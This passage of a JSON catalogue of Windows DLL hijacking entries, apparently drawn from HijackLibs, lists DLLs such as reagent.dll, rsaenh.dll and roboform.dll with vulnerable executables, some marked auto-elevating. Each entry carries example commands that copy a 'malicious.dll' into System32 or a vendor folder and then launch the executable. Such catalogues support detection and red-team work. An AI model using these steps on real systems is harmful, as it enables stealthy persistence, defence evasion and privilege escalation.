      "security.defenseevasion.dll-hijack"
    ],
    "description": "rcdll.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rcdll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rcdll",
    "name": "rcdll.dll",
    "namespace": "windows:dllhijack:rcdll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rcdll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious reagent.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\reagent.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# reagent.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\reagentc.exe (Sideloading)\n- %SYSTEM32%\\recdisc.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\relpost.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-reagent.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "reagent.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "reagent.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-reagent",
    "name": "reagent.dll",
    "namespace": "windows:dllhijack:reagent",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/reagent.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious regapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\regapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\change.exe\\\"\"\n\n# regapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\change.exe (Sideloading)\n- %SYSTEM32%\\chglogon.exe (Sideloading)\n- %SYSTEM32%\\query.exe (Sideloading)\n- %SYSTEM32%\\reset.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-regapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "regapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "regapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-regapi",
    "name": "regapi.dll",
    "namespace": "windows:dllhijack:regapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/regapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious register.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\IObit\\\\Driver Booster\\\\%VERSION%\\\\register.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\IObit\\\\Driver Booster\\\\%VERSION%\\\\DriverBooster.exe\\\"\"\n\n# register.dll\n\n**Vendor:** IObit\n\n**Expected Location:** %PROGRAMFILES%\\IObit\\Driver Booster\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\IObit\\Driver Booster\\%VERSION%\\DriverBooster.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-register.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "register.dll — Sideloading hijacking (IObit)",
    "execution": {
      "template": "register.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-register",
    "name": "register.dll",
    "namespace": "windows:dllhijack:register",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/0500e5ad7e344d32ee26da988aeb30f6344a0c89a68eacce5d6a5683d1fee0e1/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/cdfe0f80cd3dc1914c7ad1a6305c0c1116168a37c5cfe8ff51650e2ac814b818/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/register.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious relay.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\relay.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"UniversalInstaller.exe\\\"\"\n\n# relay.dll\n\n**Vendor:** Canon\n\n**Vulnerable Executables:**\n- UniversalInstaller.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-relay.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "relay.dll — Sideloading hijacking (Canon)",
    "execution": {
      "template": "relay.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-relay",
    "name": "relay.dll",
    "namespace": "windows:dllhijack:relay",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/6122b4ceb394e4a441b4f7ac92745b1aa64b6c83a4101d6d326e130efa5a5d10/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/relay.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious reseteng.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\reseteng.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# reseteng.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-reseteng.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "reseteng.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "reseteng.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-reseteng",
    "name": "reseteng.dll",
    "namespace": "windows:dllhijack:reseteng",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/reseteng.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious resetengine.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\resetengine.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\resetengine.exe\\\"\"\n\n# resetengine.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-resetengine.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "resetengine.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "resetengine.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-resetengine",
    "name": "resetengine.dll",
    "namespace": "windows:dllhijack:resetengine",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/resetengine.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious resutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\resutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dfsdiag.exe\\\"\"\n\n# resutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dfsdiag.exe (Sideloading)\n- %SYSTEM32%\\msdtc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-resutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "resutils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "resutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-resutils",
    "name": "resutils.dll",
    "namespace": "windows:dllhijack:resutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/resutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious rjvplatform.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\SystemResetPlatform\\\\rjvplatform.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\SystemResetPlatform\\\\SystemResetPlatform.exe\\\"\"\n\n# rjvplatform.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\\SystemResetPlatform\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\SystemResetPlatform\\SystemResetPlatform.exe (Sideloading)\n\n**Acknowledgement:** Grzegorz Tworek\n",
    "_source": "windows-dllhijack-rjvplatform.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rjvplatform.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rjvplatform.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-rjvplatform",
    "name": "rjvplatform.dll",
    "namespace": "windows:dllhijack:rjvplatform",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/0gtweet/status/1666716511988330499"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rjvplatform.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious rmclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rmclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# rmclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\runtimebroker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-rmclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rmclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rmclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "remote"
    ],
    "id": "windows-dllhijack-rmclient",
    "name": "rmclient.dll",
    "namespace": "windows:dllhijack:rmclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rmclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious roboform.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Siber Systems\\\\AI RoboForm\\\\roboform.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Siber Systems\\\\AI RoboForm\\\\RoboTaskBarIcon.exe\\\"\"\n\n# roboform.dll\n\n**Vendor:** Siber Systems\n\n**Expected Location:** %PROGRAMFILES%\\Siber Systems\\AI RoboForm\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Siber Systems\\AI RoboForm\\RoboTaskBarIcon.exe (Sideloading)\n\n**Acknowledgement:** Rick Gatenby\n",
    "_source": "windows-dllhijack-roboform.md",
    "author": "Rick Gatenby",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "roboform.dll — Sideloading hijacking (Siber Systems)",
    "execution": {
      "template": "roboform.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-roboform",
    "name": "roboform.dll",
    "namespace": "windows:dllhijack:roboform",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html"
      },
      {
        "label": "Reference",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/image_load/image_load_side_load_robform.yml"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/roboform.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious roboform-x64.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Siber Systems\\\\AI RoboForm\\\\%VERSION%\\\\roboform-x64.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Siber Systems\\\\AI RoboForm\\\\%VERSION%\\\\robotaskbaricon-x64.exe\\\"\"\n\n# roboform-x64.dll\n\n**Vendor:** Siber Systems\n\n**Expected Location:** %PROGRAMFILES%\\Siber Systems\\AI RoboForm\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Siber Systems\\AI RoboForm\\%VERSION%\\robotaskbaricon-x64.exe (Sideloading)\n\n**Acknowledgement:** Rick Gatenby\n",
    "_source": "windows-dllhijack-roboform-x64.md",
    "author": "Rick Gatenby",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "roboform-x64.dll — Sideloading hijacking (Siber Systems)",
    "execution": {
      "template": "roboform-x64.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-roboform-x64",
    "name": "roboform-x64.dll",
    "namespace": "windows:dllhijack:roboform-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html"
      },
      {
        "label": "Reference",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/image_load/image_load_side_load_robform.yml"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/roboform-x64.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rpcnsh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rpcnsh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# rpcnsh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-rpcnsh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rpcnsh.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rpcnsh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rpcnsh",
    "name": "rpcnsh.dll",
    "namespace": "windows:dllhijack:rpcnsh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rpcnsh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rsaenh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rsaenh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\compmgmtlauncher.exe\\\"\"\n\n# rsaenh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\disksnapshot.exe (Environment Variable)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\licensingdiag.exe (Environment Variable)\n- %SYSTEM32%\\lpksetup.exe (Environment Variable)\n- %SYSTEM32%\\microsoft.uev.synccontroller.exe (Environment Variable)\n- %SYSTEM32%\\phoneactivate.exe (Environment Variable)\n- %SYSTEM32%\\powershell.exe (Environment Variable)\n- %SYSTEM32%\\rmactivate.exe (Environment Variable)\n- %SYSTEM32%\\scriptrunner.exe (Environment Variable)\n- %SYSTEM32%\\sppextcomobj.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\tzsync.exe (Environment Variable)\n- %SYSTEM32%\\uevappmonitor.exe (Environment Variable)\n- %SYSTEM32%\\useraccountcontrolsettings.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %APPDATA%\\Zoom\\bin\\zoom.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msoadfsb.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\namecontrolserver.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-rsaenh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rsaenh.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "rsaenh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rsaenh",
    "name": "rsaenh.dll",
    "namespace": "windows:dllhijack:rsaenh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rsaenh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious rtl120.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\DualSafe Password Manager\\\\rtl120.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\DualSafe Password Manager\\\\DPMInit.exe\\\"\"\n\n# rtl120.dll\n\n**Vendor:** iTop\n\n**Expected Location:** %PROGRAMFILES%\\DualSafe Password Manager\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\DualSafe Password Manager\\DPMInit.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-rtl120.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rtl120.dll — Sideloading hijacking (iTop)",
    "execution": {
      "template": "rtl120.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-rtl120",
    "name": "rtl120.dll",
    "namespace": "windows:dllhijack:rtl120",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/0e93a41edf1ca3e1723e5e0d73f3e0f54d6d672606b9dc0cda745f87e3fd0339/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/6028d64b53880676fcd62b445fd71952f9141b8ac0e60329b15cf9e04e437cea/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rtl120.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rtutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rtutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dialer.exe\\\"\"\n\n# rtutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dialer.exe (Sideloading)\n- %SYSTEM32%\\nethost.exe (Sideloading)\n- %SYSTEM32%\\rasautou.exe (Sideloading)\n- %SYSTEM32%\\rasdial.exe (Sideloading)\n- %SYSTEM32%\\rasphone.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-rtutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rtutils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rtutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rtutils",
    "name": "rtutils.dll",
    "namespace": "windows:dllhijack:rtutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rtutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious rtworkq.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\rtworkq.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mdeserver.exe\\\"\"\n\n# rtworkq.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mdeserver.exe (Sideloading)\n- %SYSTEM32%\\mfpmp.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-rtworkq.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rtworkq.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "rtworkq.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-rtworkq",
    "name": "rtworkq.dll",
    "namespace": "windows:dllhijack:rtworkq",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rtworkq.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious rzlog4cpp_logger.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\razer\\\\InGameEngine\\\\cache\\\\RzFpsApplet\\\\rzlog4cpp_logger.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%LOCALAPPDATA%\\\\razer\\\\InGameEngine\\\\cache\\\\RzFpsApplet\\\\RzCefRenderProcess.exe\\\"\"\n\n# rzlog4cpp_logger.dll\n\n**Vendor:** Razer\n\n**Expected Location:** %LOCALAPPDATA%\\razer\\InGameEngine\\cache\\RzFpsApplet\n\n**Vulnerable Executables:**\n- %LOCALAPPDATA%\\razer\\InGameEngine\\cache\\RzFpsApplet\\RzCefRenderProcess.exe (Sideloading)\n",
    "_source": "windows-dllhijack-rzlog4cpp-logger.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "rzlog4cpp_logger.dll — Sideloading hijacking (Razer)",
    "execution": {
      "template": "rzlog4cpp_logger.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-rzlog4cpp-logger",
    "name": "rzlog4cpp_logger.dll",
    "namespace": "windows:dllhijack:rzlog4cpp-logger",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia"
      },
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/rzlog4cpp-logger.html"
